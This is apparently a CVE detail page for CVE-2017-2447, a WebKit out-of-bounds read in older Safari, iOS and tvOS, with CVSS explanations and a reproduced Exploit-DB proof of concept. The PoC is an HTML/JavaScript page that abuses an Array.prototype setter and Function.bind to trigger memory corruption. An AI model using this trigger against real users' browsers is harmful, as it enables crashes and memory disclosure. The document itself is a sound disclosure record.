CVE-2017-2447 : Detail

CVE-2017-2447

8.1
/
High
Overflow
8.55%V3
Network
2017-04-01
23h36 +00:00
2017-08-15
07h57 +00:00
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CVE Descriptions

An issue was discovered in certain Apple products. iOS before 10.3 is affected. Safari before 10.1 is affected. tvOS before 10.2 is affected. The issue involves the "WebKit" component. It allows remote attackers to obtain sensitive information or cause a denial of service (memory corruption) via a crafted web site.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 8.1 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 5.8 AV:N/AC:M/Au:N/C:P/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 41743

Publication date : 2017-03-26 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1033 There is an out-of-bounds read when reading the bound arguments array of a bound function. When Function.bind is called, the arguments to the call are transferred to an Array before they are passed to JSBoundFunction::JSBoundFunction. Since it is possible that the Array prototype has had a setter added to it, it is possible for user script to obtain a reference to this Array, and alter it so that the length is longer than the backing native butterfly array. Then when boundFunctionCall attempts to copy this array to the call parameters, it assumes the length is not longer than the allocated array (which would be true if it wasn't altered), and reads out of bounds. This is likely exploitable, because the read values are treated as JSValues, so this issue can allow type confusion if the attacker controls any of the unallocated values that are read. This issue is only in WebKit trunk and Safari preview, it hasn't made it to regular Safari releases yet. A minimal PoC is as follows, and a full PoC is attached. var ba; function s(){ ba = this; } function dummy(){ alert("just a function"); } Object.defineProperty(Array.prototype, "0", {set : s }); var f = dummy.bind({}, 1, 2, 3, 4); ba.length = 100000; f(1, 2, 3); --> <html> <body> <script> var ba; function s(){ alert("in s"); ba = this; } function g(){ alert("in g"); return 7; } function dummy(){ alert("just a function"); } alert("start"); try{ Object.defineProperty(Array.prototype, "0", {set : s, get : g}); var f = dummy.bind({}, 1, 2, 3, 4); alert("ba" + ba); ba.length = 100000; f(1, 2, 3); }catch(e){ alert(e.message); } </script> </body> </html>

Products Mentioned

Configuraton 0

Apple>>Safari >> Version To (including) 10.0.3

Apple>>Iphone_os >> Version To (including) 10.2.1

Apple>>Tvos >> Version To (including) 10.1.1

References

http://www.securitytracker.com/id/1038137
Tags : vdb-entry, x_refsource_SECTRACK
https://support.apple.com/HT207601
Tags : x_refsource_CONFIRM
http://www.securityfocus.com/bid/97130
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/41743/
Tags : exploit, x_refsource_EXPLOIT-DB
https://security.gentoo.org/glsa/201706-15
Tags : vendor-advisory, x_refsource_GENTOO
https://support.apple.com/HT207600
Tags : x_refsource_CONFIRM
https://support.apple.com/HT207617
Tags : x_refsource_CONFIRM